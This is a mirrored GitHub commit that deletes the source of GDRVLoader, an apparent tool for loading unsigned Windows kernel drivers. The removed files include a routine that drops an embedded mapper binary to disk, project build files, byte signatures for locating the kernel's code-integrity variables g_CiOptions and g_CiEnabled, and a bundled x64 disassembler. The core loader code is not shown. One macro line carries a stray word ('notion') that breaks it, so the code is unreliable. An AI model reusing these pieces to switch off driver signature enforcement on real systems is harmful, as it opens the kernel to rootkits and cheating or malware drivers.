mirror of
https://github.com/zer0condition/GDRVLoader
synced 2026-08-31 14:05:46 +00:00
Delete src directory
This commit is contained in:
-2188
File diff suppressed because it is too large
Load Diff
@@ -1,24 +0,0 @@
|
||||
#pragma once
|
||||
#include "driverbytes.h"
|
||||
|
||||
bool DropMapperFromBytes(const wchar_t* path)
|
||||
{
|
||||
HANDLE h_file;
|
||||
BOOLEAN b_status = FALSE;
|
||||
DWORD byte = 0;
|
||||
|
||||
h_file = CreateFileW(path, GENERIC_ALL, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (GetLastError() == ERROR_FILE_EXISTS)
|
||||
return true;
|
||||
|
||||
if (h_file == INVALID_HANDLE_VALUE)
|
||||
return false;
|
||||
|
||||
b_status = WriteFile(h_file, shell_mapper, sizeof(shell_mapper), &byte, nullptr);
|
||||
CloseHandle(h_file);
|
||||
|
||||
if (!b_status)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<ProjectGuid>{C2F662DB-3ED6-47EE-A331-2EBE11AA36C3}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>Swind2</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>gdrvloader</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)bin\</OutDir>
|
||||
<IntDir>obj\$(Platform)-$(Configuration)\</IntDir>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<TargetName>swind2</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<TargetName>swind2</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WINVER=0x0601;_WIN32_WINNT=0x0601;NTDDI_VERSION=0x06010000;WIN32;_WIN64;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<DiagnosticsFormat>Caret</DiagnosticsFormat>
|
||||
<StringPooling>true</StringPooling>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<AdditionalOptions>/Gw %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<DisableSpecificWarnings>4201</DisableSpecificWarnings>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>DebugFull</GenerateDebugInformation>
|
||||
<Version>6.1</Version>
|
||||
<MinimumRequiredVersion>6.01</MinimumRequiredVersion>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)lib\x64</AdditionalLibraryDirectories>
|
||||
<EntryPointSymbol>NtProcessStartupW</EntryPointSymbol>
|
||||
<AdditionalOptions>/NOVCFEATURE /NOCOFFGRPINFO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>ntdllp_7.lib;kernel32.lib;shlwapi.lib</AdditionalDependencies>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<SetChecksum>true</SetChecksum>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PreprocessorDefinitions>WINVER=0x0601;_WIN32_WINNT=0x0601;NTDDI_VERSION=0x06010000;WIN32;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<DiagnosticsFormat>Caret</DiagnosticsFormat>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<AdditionalOptions>/Gw %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<DisableSpecificWarnings>4201</DisableSpecificWarnings>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<OmitFramePointers>true</OmitFramePointers>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>DebugFull</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<Version>6.1</Version>
|
||||
<MinimumRequiredVersion>6.01</MinimumRequiredVersion>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)lib\x64</AdditionalLibraryDirectories>
|
||||
<EntryPointSymbol>NtProcessStartupW</EntryPointSymbol>
|
||||
<AdditionalOptions>/NOVCFEATURE /NOCOFFGRPINFO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>ntdllp_7.lib;kernel32.lib;shlwapi.lib</AdditionalDependencies>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<SetChecksum>true</SetChecksum>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="pe.cpp" />
|
||||
<ClCompile Include="swind2.cpp" />
|
||||
<ClCompile Include="sysinfo.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="driverbytes.h" />
|
||||
<ClInclude Include="driverloader.h" />
|
||||
<ClInclude Include="global.h" />
|
||||
<ClInclude Include="ntdll.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Manifest Include="swind2.exe.manifest" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -1,55 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="swind2.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="sysinfo.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pe.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="global.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ntdll.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="driverbytes.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="driverloader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Manifest Include="swind2.exe.manifest">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Manifest>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
-265
@@ -1,265 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "ntdll.h"
|
||||
#include <ntstatus.h>
|
||||
|
||||
|
||||
const BYTE Pattern_CipInit_1709[17] = "\x4c\x8b\xcb\x4c\x8b\xc7\x48\x8b\xd6\x8b\xcd\xe8\x00\x00\x00\x00";
|
||||
const BYTE Pattern_CipInit[13] = "\x41\x8b\xca\x48\x83\xc4\x28\xe9\x00\x00\x00\x00";
|
||||
const BYTE Pattern_gCiOptions[10] = "\x49\x8b\xe9\x89\x0d\x00\x00\x00\x00";
|
||||
const BYTE Pattern_gCiEnabled[5] = "\xeb\x06\x88\x1d";
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
#if defined(__cplusplus) && \
|
||||
((defined(_MSC_VER) && (_MSC_VER >= 1900)) || defined(__clang__))
|
||||
#define CONSTEXPR constexpr
|
||||
#else
|
||||
#define CONSTEXPR
|
||||
#endif
|
||||
|
||||
#if defined(__clang__)
|
||||
#undef FIELD_OFFSET
|
||||
#undef UFIELD_OFFSET
|
||||
#define FIELD_OFFSET(type, field) ((LONG)__builtin_offsetof(type, field))
|
||||
#define UFIELD_OFFSET(type, field) ((ULONG)__builtin_offsetof(type, field))notion
|
||||
#endif
|
||||
|
||||
// swind2.cpp
|
||||
NTSTATUS
|
||||
WindLoadDriver(
|
||||
_In_ PWCHAR LoaderName,
|
||||
_In_ PWCHAR DriverName,
|
||||
_In_ BOOLEAN Hidden
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
WindUnloadDriver(
|
||||
_In_ PWCHAR DriverName,
|
||||
_In_ BOOLEAN Hidden
|
||||
);
|
||||
|
||||
// sysinfo.cpp
|
||||
NTSTATUS
|
||||
PrintSystemInformation(
|
||||
);
|
||||
|
||||
// pe.cpp
|
||||
NTSTATUS
|
||||
MapFileSectionView(
|
||||
_In_ PCWCHAR Filename,
|
||||
_In_ BOOLEAN ForceDisableAslr,
|
||||
_Out_ PVOID *ImageBase,
|
||||
_Out_ PSIZE_T ViewSize
|
||||
);
|
||||
|
||||
PVOID
|
||||
GetProcedureAddress(
|
||||
_In_ ULONG_PTR DllBase,
|
||||
_In_ PCSTR RoutineName
|
||||
);
|
||||
|
||||
FORCEINLINE
|
||||
ULONG
|
||||
RtlNtMajorVersion(
|
||||
)
|
||||
{
|
||||
return *reinterpret_cast<PULONG>(0x7FFE0000 + 0x026C);
|
||||
}
|
||||
|
||||
FORCEINLINE
|
||||
ULONG
|
||||
RtlNtMinorVersion(
|
||||
)
|
||||
{
|
||||
return *reinterpret_cast<PULONG>(0x7FFE0000 + 0x0270);
|
||||
}
|
||||
|
||||
CONSTEXPR
|
||||
FORCEINLINE
|
||||
LONGLONG
|
||||
RtlMsToTicks(
|
||||
_In_ ULONG Milliseconds
|
||||
)
|
||||
{
|
||||
return 10000LL * static_cast<LONGLONG>(Milliseconds);
|
||||
}
|
||||
|
||||
FORCEINLINE
|
||||
VOID
|
||||
RtlSleep(
|
||||
_In_ ULONG Milliseconds
|
||||
)
|
||||
{
|
||||
LARGE_INTEGER Timeout;
|
||||
Timeout.QuadPart = -1 * RtlMsToTicks(Milliseconds);
|
||||
NtDelayExecution(FALSE, &Timeout);
|
||||
}
|
||||
|
||||
CONSTEXPR
|
||||
FORCEINLINE
|
||||
BOOLEAN
|
||||
IsWin64(
|
||||
)
|
||||
{
|
||||
#if defined(_WIN64) || defined(_M_AMD64)
|
||||
return TRUE;
|
||||
#else
|
||||
return FALSE;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Ntdll string functions, not in ntdll.h as they are incompatible with the CRT
|
||||
typedef CONST WCHAR *LPCWCHAR, *PCWCHAR;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
NTSYSAPI
|
||||
int
|
||||
__cdecl
|
||||
_snwprintf(
|
||||
_Out_ PWCHAR Buffer,
|
||||
_In_ size_t BufferCount,
|
||||
_In_ PCWCHAR Format,
|
||||
...
|
||||
);
|
||||
|
||||
NTSYSAPI
|
||||
int
|
||||
__cdecl
|
||||
_vsnwprintf(
|
||||
_Out_ PWCHAR Buffer,
|
||||
_In_ size_t BufferCount,
|
||||
_In_ PCWCHAR Format,
|
||||
_In_ va_list ArgList
|
||||
);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// Debug functions
|
||||
inline
|
||||
VOID
|
||||
Printf(
|
||||
_In_ PCWCHAR Format,
|
||||
...
|
||||
)
|
||||
{
|
||||
//WCHAR Buffer[512];
|
||||
//va_list VaList;
|
||||
//va_start(VaList, Format);
|
||||
//ULONG N = _vsnwprintf(Buffer, 512, Format, VaList);
|
||||
//va_end(VaList);
|
||||
//WriteConsoleW(NtCurrentPeb()->ProcessParameters->StandardOutput, Buffer, N, &N, nullptr);
|
||||
}
|
||||
|
||||
inline
|
||||
VOID
|
||||
WaitForKey(
|
||||
)
|
||||
{
|
||||
HANDLE StdIn = NtCurrentPeb()->ProcessParameters->StandardInput;
|
||||
INPUT_RECORD InputRecord = { 0 };
|
||||
ULONG NumRead;
|
||||
while (InputRecord.EventType != KEY_EVENT || !InputRecord.Event.KeyEvent.bKeyDown || InputRecord.Event.KeyEvent.dwControlKeyState !=
|
||||
(InputRecord.Event.KeyEvent.dwControlKeyState & ~(RIGHT_CTRL_PRESSED | LEFT_CTRL_PRESSED)))
|
||||
{
|
||||
ReadConsoleInputW(StdIn, &InputRecord, 1, &NumRead);
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef NT_ANALYSIS_ASSUME
|
||||
// wdm.h's asserts are incompatible with both clang and MS's own analyzer
|
||||
#undef NT_ANALYSIS_ASSUME
|
||||
#undef NT_ASSERT_ACTION
|
||||
#undef NT_ASSERTMSG_ACTION
|
||||
#undef NT_ASSERTMSGW_ACTION
|
||||
#undef NT_ASSERT_ASSUME
|
||||
#undef NT_ASSERTMSG_ASSUME
|
||||
#undef NT_ASSERTMSGW_ASSUME
|
||||
#undef NT_ASSERT
|
||||
#undef NT_ASSERTMSG
|
||||
#undef NT_ASSERTMSGW
|
||||
#endif
|
||||
|
||||
#ifdef _PREFAST_
|
||||
#define NT_ANALYSIS_ASSUME(...) _Analysis_assume_(__VA_ARGS__)
|
||||
#elif defined(_DEBUG) || defined(DBG)
|
||||
#define NT_ANALYSIS_ASSUME(...) ((void) 0)
|
||||
#else
|
||||
#define NT_ANALYSIS_ASSUME(...) __noop(__VA_ARGS__)
|
||||
#endif
|
||||
|
||||
#if !defined(__clang__)
|
||||
#if !defined(DbgRaiseAssertionFailure)
|
||||
#define DbgRaiseAssertionFailure() __int2c()
|
||||
#endif
|
||||
|
||||
#define NT_ASSERT_ACTION(_exp) \
|
||||
((!(_exp)) ? \
|
||||
(__annotation((PWCHAR)L"Debug", L"AssertFail", L#_exp), \
|
||||
DbgRaiseAssertionFailure(), FALSE) : \
|
||||
TRUE)
|
||||
|
||||
#define NT_ASSERTMSG_ACTION(_msg, _exp) \
|
||||
((!(_exp)) ? \
|
||||
(__annotation((PWCHAR)L"Debug", L"AssertFail", L##_msg), \
|
||||
DbgRaiseAssertionFailure(), FALSE) : \
|
||||
TRUE)
|
||||
|
||||
#define NT_ASSERTMSGW_ACTION(_msg, _exp) \
|
||||
((!(_exp)) ? \
|
||||
(__annotation((PWCHAR)L"Debug", L"AssertFail", _msg), \
|
||||
DbgRaiseAssertionFailure(), FALSE) : \
|
||||
TRUE)
|
||||
#else
|
||||
#define NT_ASSERT_ACTION(_exp) \
|
||||
((!(_exp)) ? (__debugbreak(), FALSE) : TRUE)
|
||||
#define NT_ASSERTMSG_ACTION(_msg, _exp) \
|
||||
NT_ASSERT_ACTION(_exp)
|
||||
#define NT_ASSERTMSGW_ACTION(_msg, _exp) \
|
||||
NT_ASSERT_ACTION(_exp)
|
||||
#endif
|
||||
|
||||
#if defined(_DEBUG) || defined(DBG)
|
||||
#define NT_ASSERT_ASSUME(_exp) \
|
||||
(NT_ANALYSIS_ASSUME(_exp), NT_ASSERT_ACTION(_exp))
|
||||
|
||||
#define NT_ASSERTMSG_ASSUME(_msg, _exp) \
|
||||
(NT_ANALYSIS_ASSUME(_exp), NT_ASSERTMSG_ACTION(_msg, _exp))
|
||||
|
||||
#define NT_ASSERTMSGW_ASSUME(_msg, _exp) \
|
||||
(NT_ANALYSIS_ASSUME(_exp), NT_ASSERTMSGW_ACTION(_msg, _exp))
|
||||
|
||||
#define NT_ASSERT NT_ASSERT_ASSUME
|
||||
#define NT_ASSERTMSG NT_ASSERTMSG_ASSUME
|
||||
#define NT_ASSERTMSGW NT_ASSERTMSGW_ASSUME
|
||||
#else
|
||||
#define NT_ASSERT(_exp) ((void) 0)
|
||||
#define NT_ASSERTMSG(_msg, _exp) ((void) 0)
|
||||
#define NT_ASSERTMSGW(_msg, _exp) ((void) 0)
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4309)
|
||||
template<ULONG N>
|
||||
struct static_print // Usage: static_print<FIELD_OFFSET(S, v)>()() prints the value as a compiler warning
|
||||
{
|
||||
CHAR operator()() CONST { return N + 256; }
|
||||
};
|
||||
#pragma warning(pop)
|
||||
|
||||
template<typename T>
|
||||
void print_size() { static_print<sizeof(T)>()(); }
|
||||
#endif
|
||||
-338
@@ -1,338 +0,0 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "hde64.h"
|
||||
#include "table64.h"
|
||||
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4701)
|
||||
#pragma warning(disable:4706)
|
||||
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs)
|
||||
{
|
||||
uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
||||
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
|
||||
uint8_t op64 = 0;
|
||||
|
||||
// Avoid using memset to reduce the footprint.
|
||||
#ifndef _MSC_VER
|
||||
memset((uint8_t*)hs, 0, sizeof(hde64s));
|
||||
#else
|
||||
__stosb((uint8_t*)hs, 0, sizeof(hde64s));
|
||||
#endif
|
||||
|
||||
for (x = 16; x; x--)
|
||||
switch (c = *p++) {
|
||||
case 0xf3:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F3;
|
||||
break;
|
||||
case 0xf2:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F2;
|
||||
break;
|
||||
case 0xf0:
|
||||
hs->p_lock = c;
|
||||
pref |= PRE_LOCK;
|
||||
break;
|
||||
case 0x26: case 0x2e: case 0x36:
|
||||
case 0x3e: case 0x64: case 0x65:
|
||||
hs->p_seg = c;
|
||||
pref |= PRE_SEG;
|
||||
break;
|
||||
case 0x66:
|
||||
hs->p_66 = c;
|
||||
pref |= PRE_66;
|
||||
break;
|
||||
case 0x67:
|
||||
hs->p_67 = c;
|
||||
pref |= PRE_67;
|
||||
break;
|
||||
default:
|
||||
goto pref_done;
|
||||
}
|
||||
pref_done:
|
||||
|
||||
hs->flags = (uint32_t)pref << 23;
|
||||
|
||||
if (!pref)
|
||||
pref |= PRE_NONE;
|
||||
|
||||
if ((c & 0xf0) == 0x40) {
|
||||
hs->flags |= F_PREFIX_REX;
|
||||
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
|
||||
op64++;
|
||||
hs->rex_r = (c & 7) >> 2;
|
||||
hs->rex_x = (c & 3) >> 1;
|
||||
hs->rex_b = c & 1;
|
||||
if (((c = *p++) & 0xf0) == 0x40) {
|
||||
opcode = c;
|
||||
goto error_opcode;
|
||||
}
|
||||
}
|
||||
|
||||
if ((hs->opcode = c) == 0x0f) {
|
||||
hs->opcode2 = c = *p++;
|
||||
ht += DELTA_OPCODES;
|
||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
||||
op64++;
|
||||
if (pref & PRE_67)
|
||||
pref |= PRE_66;
|
||||
else
|
||||
pref &= ~PRE_66;
|
||||
}
|
||||
|
||||
opcode = c;
|
||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
||||
|
||||
if (cflags == C_ERROR) {
|
||||
error_opcode:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
cflags = 0;
|
||||
if ((opcode & -3) == 0x24)
|
||||
cflags++;
|
||||
}
|
||||
|
||||
x = 0;
|
||||
if (cflags & C_GROUP) {
|
||||
uint16_t t;
|
||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
||||
cflags = (uint8_t)t;
|
||||
x = (uint8_t)(t >> 8);
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_PREFIXES;
|
||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (cflags & C_MODRM) {
|
||||
hs->flags |= F_MODRM;
|
||||
hs->modrm = c = *p++;
|
||||
hs->modrm_mod = m_mod = c >> 6;
|
||||
hs->modrm_rm = m_rm = c & 7;
|
||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
||||
|
||||
if (x && ((x << m_reg) & 0x80))
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
|
||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
||||
uint8_t t = opcode - 0xd9;
|
||||
if (m_mod == 3) {
|
||||
ht = hde64_table + DELTA_FPU_MODRM + t*8;
|
||||
t = ht[m_reg] << m_rm;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_FPU_REG;
|
||||
t = ht[t] << m_reg;
|
||||
}
|
||||
if (t & 0x80)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (pref & PRE_LOCK) {
|
||||
if (m_mod == 3) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
} else {
|
||||
uint8_t *table_end, op = opcode;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_LOCK_OK;
|
||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_LOCK_OK;
|
||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
||||
op &= -2;
|
||||
}
|
||||
for (; ht != table_end; ht++)
|
||||
if (*ht++ == op) {
|
||||
if (!((*ht << m_reg) & 0x80))
|
||||
goto no_lock_error;
|
||||
else
|
||||
break;
|
||||
}
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
no_lock_error:
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x20: case 0x22:
|
||||
m_mod = 3;
|
||||
if (m_reg > 4 || m_reg == 1)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x21: case 0x23:
|
||||
m_mod = 3;
|
||||
if (m_reg == 4 || m_reg == 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
} else {
|
||||
switch (opcode) {
|
||||
case 0x8c:
|
||||
if (m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x8e:
|
||||
if (m_reg == 1 || m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_mod == 3) {
|
||||
uint8_t *table_end;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_ONLY_MEM;
|
||||
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_ONLY_MEM;
|
||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
||||
}
|
||||
for (; ht != table_end; ht += 2)
|
||||
if (*ht++ == opcode) {
|
||||
if (*ht++ & pref && !((*ht << m_reg) & 0x80))
|
||||
goto error_operand;
|
||||
else
|
||||
break;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x50: case 0xd7: case 0xf7:
|
||||
if (pref & (PRE_NONE | PRE_66))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xd6:
|
||||
if (pref & (PRE_F2 | PRE_F3))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xc5:
|
||||
goto error_operand;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else
|
||||
goto no_error_operand;
|
||||
|
||||
error_operand:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
||||
no_error_operand:
|
||||
|
||||
c = *p++;
|
||||
if (m_reg <= 1) {
|
||||
if (opcode == 0xf6)
|
||||
cflags |= C_IMM8;
|
||||
else if (opcode == 0xf7)
|
||||
cflags |= C_IMM_P66;
